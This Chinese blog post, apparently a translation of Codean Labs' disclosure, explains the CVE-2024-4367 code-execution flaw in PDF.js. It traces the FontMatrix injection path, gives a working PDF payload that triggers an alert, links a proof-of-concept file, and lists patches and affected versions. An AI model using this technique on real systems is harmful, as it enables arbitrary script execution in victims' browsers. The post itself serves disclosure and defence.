• PDF.js曝高危安全漏洞
  • 发布于 2个月前
  • 161 热度
    0 评论
  • 乌龙山
  • 0 粉丝 41 篇博客
  •   
最近 Codean Labs 对外披露了 PDF.js 的一个任意代码执行漏洞(CVE-2024-4367)。

由于 PDF.js 使用非常广泛,且漏洞利用简单,危害很大,漏洞评级非常高。PDF.js 是一个基于 JavaScript 的 PDF 查看器,由 Mozilla 维护。此漏洞允许攻击者在打开恶意 PDF 文件时立即执行任意 JavaScript 代码。今天我们一起来学习下这个漏洞具体的咋回事。

PDF.js 有两个常见的使用场景。首先,它是火狐浏览器的内置 PDF 阅读器。如果你使用火狐浏览器,并且曾经下载或者浏览过 PDF 文件,你就会看到它在起作用。其次,它被打包成一个名为 pdfjs-dist 的 Node 模块,根据 NPM 的数据,每周有大约 270 万次的下载量。以这种形式,网站可以用它来提供嵌入式 PDF 预览功能。从代码托管平台到笔记应用程序,各种各样的应用都在使用它。

PDF 的格式出了名的复杂。它支持各种媒体类型、复杂的字体渲染,甚至还有基本的脚本,所以 PDF 阅读器是漏洞研究人员常见的研究目标。由于有大量的解析逻辑,肯定会有一些错误,PDF.js 也不例外。不过它的独特之处在于它是用 JavaScript 编写的,而不是 C 或 C++。这意味着不会有内存损坏的问题,但正如我们将看到的,它也有自己的一系列风险。

PDF 中的字体可以有几种不同的格式,其中一些对我们来说比其他的更晦涩。对于像 TrueType 这样的现代格式,PDF.js 大多依赖于浏览器自身的字体渲染器。在其他情况下,它必须手动将字形(即字符)描述转换为页面上的曲线。为了优化性能,会为每个字形预编译一个路径生成函数。如果支持的话,这是通过创建一个 JavaScript Function 对象来实现的,该对象的主体(jsBuf)包含构成路径的指令:
// 如果可以,将 cmds 编译为 JavaScript 以实现最大速度...
if (this.isEvalSupported && FeatureTest.isEvalSupported) { 
    // 创建一个空数组 jsBuf 用于存储要生成的 JavaScript 代码片段
    const jsBuf = []; 
    // 堆代码 duidaima.com
    // 遍历 cmds 数组中的每个元素
    for (const current of cmds) { 
        // 如果当前元素有 args 属性且不为 undefined,将其转换为字符串并以逗号连接
        const args = current.args!== undefined? current.args.join(",") : ""; 
        // 将特定格式的代码片段添加到 jsBuf 数组中
        jsBuf.push("c.", current.cmd, "(", args, ");\n"); 
    }
    // 打印 jsBuf 数组元素连接后的字符串
    console.log(jsBuf.join("")); 
    // 返回一个新的 Function 对象,该对象接受 "c" 和 "size" 作为参数,并执行 jsBuf 中连接的代码
    return (this.compiledGlyphs[character] = new Function(
        "c",
        "size",
        jsBuf.join("")
    ));
}
从攻击者的角度来看,这非常有趣:如果我们能够以某种方式控制进入 Function 对象主体的这些 cmds 并插入我们自己的代码,那么一旦渲染这样的字形,它就会被执行。好吧,让我们看看这个命令列表是如何生成的。回溯到 CompiledFont 类的逻辑,我们找到了 compileGlyph(...) 方法。这个方法用几个通用命令(保存、变换、缩放和恢复)初始化了 cmds 数组,并委托给 compileGlyphImpl(...) 方法来填充实际的渲染命令:
// 定义 compileGlyph 方法,接受 code 和 glyphId 作为参数
compileGlyph(code, glyphId) {
    // 如果 code 为空、长度为 0 或者 code 的第一个元素为 14,返回 NOOP
    if (!code || code.length === 0 || code[0] === 14) {
      return NOOP;
    }

    // 定义 fontMatrix 并初始化为当前对象的 fontMatrix 属性
    let fontMatrix = this.fontMatrix;
    //...

    // 定义一个包含命令对象的 cmds 数组
    const cmds = [
      { cmd: "save" }, // 保存命令
      { cmd: "transform", args: fontMatrix.slice() }, // 变换命令,参数为 fontMatrix 的切片副本
      { cmd: "scale", args: ["size", "-size"] }, // 缩放命令,参数为 "size" 和 "-size"
    ];
    // 调用 compileGlyphImpl 方法,并传入 code、cmds 和 glyphId
    this.compileGlyphImpl(code, cmds, glyphId);

    // 向 cmds 数组添加一个恢复命令
    cmds.push({ cmd: "restore" });

    // 返回 cmds 数组
    return cmds;
  }
如果我们对 PDF.js 代码进行检测以记录生成的 Function 对象,我们会发现生成的代码确实包含那些命令:
c.save();
c.transform(0.001,0,0,0.001,0,0);
c.scale(size,-size);
c.moveTo(0,0);
c.restore();
在这一点上,我们可以审查字体解析代码以及由字形生成的各种命令和参数,比如 quadraticCurveTo 和 bezierCurveTo,但所有这些看起来都相当正常,除了数字之外无法控制任何东西。然而,结果证明更有趣的是我们上面看到的变换命令:
{ cmd: "transform", args: fontMatrix.slice() },
这个 fontMatrix 数组会被复制(通过 .slice() 方法)并插入到 Function 对象的主体中,用逗号连接。代码显然假定它是一个数字数组,但情况总是这样吗?这个数组中的任何字符串都会被直接插入,周围没有任何引号。因此,这在最好的情况下会破坏 JavaScript 语法,在最坏的情况下会导致任意代码执行。但是我们真的能在那种程度上控制 fontMatrix 的内容吗?

fontMatrix 的值默认是 [0.001, 0, 0, 0.001, 0, 0],但通常字体自身会将其设置为一个自定义矩阵,即在它自身的嵌入式元数据中。具体如何做到这一点,每种字体格式都有所不同。这里以 Type1 解析器为例:
/**
 * 提取字体头部信息的函数
 * @param {Object} properties - 包含相关属性的对象
 */
extractFontHeader(properties) {
    // 定义一个变量用于存储获取的令牌
    let token;
    // 当获取的令牌不为空时,进行循环
    while ((token = this.getToken())!== null) {
      // 如果令牌不是'/',则继续下一次循环
      if (token!== "/") {
        continue;
      }
      // 再次获取令牌
      token = this.getToken();
      // 根据令牌的值进行不同的处理
      switch (token) {
        // 如果令牌是'FontMatrix'
        case "FontMatrix":
          // 读取数字数组并将其赋值给变量matrix
          const matrix = this.readNumberArray();
          // 将matrix赋值给properties对象的fontMatrix属性
          properties.fontMatrix = matrix;
          break;
        // 省略其他情况的处理
      ...
      }
      // 省略其他处理
     ...
    }
    // 省略其他处理
  ...
  }
尽管从技术上讲,Type1 字体在其头部包含任意的 Postscript 代码,但没有一个正常的 PDF 阅读器能完全支持这一点,大多数只是尝试读取具有预期类型的预定义键值对。在这种情况下,当 PDF.js 遇到 FontMatrix 键时,它只是读取一个数字数组。似乎用于其他几种字体格式的 CFF 解析器在这方面也是类似的。总的来说,看起来我们确实被限制在数字上。

然而,事实证明,这个矩阵有不止一个潜在的来源。我们也可以在字体之外指定一个自定义的 FontMatrix 值,即在 PDF 的元数据对象中!仔细查看 PartialEvaluator.translateFont(...) 方法,我们看到它从与字体相关的 PDF 字典中加载各种属性,其中之一就是 fontMatrix:
    const properties = {
      type,
      name: fontName.name,
      subtype,
      file: fontFile,
      ...
      fontMatrix: dict.getArray("FontMatrix") || FONT_IDENTITY_MATRIX,
      ...
      bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"),
      ascent: descriptor.get("Ascent"),
      descent: descriptor.get("Descent"),
      xHeight: descriptor.get("XHeight") || 0,
      capHeight: descriptor.get("CapHeight") || 0,
      flags: descriptor.get("Flags"),
      italicAngle: descriptor.get("ItalicAngle") || 0,
      ...
    };
在 PDF 格式中,字体定义由几个对象组成。字体、它的字体描述符以及实际的字体文件。例如,这里由对象 1、2 和 3 表示:
1 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /FontDescriptor 2 0 R
  /BaseFont /FooBarFont
>>
endobj

2 0 obj
<<
  /Type /FontDescriptor
  /FontName /FooBarFont
  /FontFile 3 0 R
  /ItalicAngle 0
  /Flags 4
>>
endobj

3 0 obj
<<
  /Length 100
>>
... (actual binary font data) ...
endobj
上面代码所引用的字典指的是字体对象。因此,我们应该能够像这样定义一个自定义的 FontMatrix 数组:
1 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /FontDescriptor 2 0 R
  /BaseFont /FooBarFont
  /FontMatrix [1 2 3 4 5 6]   % <-----
>>
endobj
当尝试这样做时,起初看起来这不起作用,因为生成的 Function 主体中的变换操作仍然使用默认矩阵。然而,这是因为字体文件本身正在覆盖该值。幸运的是,当使用没有内部 FontMatrix 定义的 Type1 字体时,PDF 中指定的值会优先考虑,因为 fontMatrix 值不会被覆盖。

既然我们可以从 PDF 对象控制这个数组,我们就拥有了想要的所有灵活性,因为 PDF 支持的不仅仅是数字类型的基本元素。让我们尝试插入一个字符串类型的值而不是数字(在 PDF 中,字符串由括号分隔):
/FontMatrix [1 2 3 4 5 (foobar)]
成功了!它被简单地插入到 Function 体中!
c.save();
c.transform(1,2,3,4,5,foobar);
c.scale(size,-size);
c.moveTo(0,0);
c.restore();
插入任意的 JavaScript 代码现在只是正确处理语法的问题。下面是一个经典的示例,通过首先结束 c.transform(...) 函数,并利用后面的括号来触发一个 alert:
/FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]
结果完全符合预期:

这里有个例子,你可以在含有漏洞的 pdf.js 版本中进行验证:https://codeanlabs.com/wp-content/uploads/2024/05/poc_generalized_CVE-2024-4367.pdf

针对此漏洞的最佳缓解措施是将 PDF.js 更新到 4.2.67 或更高版本。大多数包装库,如 react-pdf,也已发布了补丁版本。由于一些更高级别的与 PDF 相关的库会静态嵌入 PDF.js,建议递归检查你的 node_modules 文件夹中名为 pdf.js 的文件。此外,一个简单的解决方法是将 PDF.js 的 isEvalSupported 设置为 false。这可以禁用易受攻击的代码路径。如果你的网站有严格的内容安全策略(禁用 eval 和 Function 构造函数的使用),则此漏洞也无法被利用。

自 PDF.js 的首次发布以来,就一直存在这条易受攻击的代码路径,但由于一个拼写错误,在 2016 年和 2017 年发布的几个版本中无法利用。需要注意的是,2017 年及之前标记为未受影响的版本仍然容易受到另一个漏洞(CVE-2018-5158)的影响,这意味着它们不安全使用。
v4.2.67(2024 年 4 月 29 日发布):未受影响(已修复)
v4.1.392(2024 年 4 月 11 日发布):受影响(在修复此漏洞之前的版本)
v1.10.88(2017 年 10 月 27 日发布):受影响(由于拼写错误修复重新引入了安全漏洞)
v1.9.426(2017 年 8 月 15 日发布):未受影响(在下一个受影响版本之前的发布)
v1.5.188(2016 年 4 月 21 日发布):未受影响(由于一个意外的拼写错误缓解了安全漏洞)
v1.4.20(2016 年 1 月 27 日发布):受影响(在下一个意外修复易受攻击代码的版本之前的发布)

v0.8.1181(2014 年 4 月 10 日发布):受影响(PDF.js 的首次公开发布)


最后
大家尽快检查依赖版本进行修复!对此,你怎么看?欢迎在评论区留言~
用户评论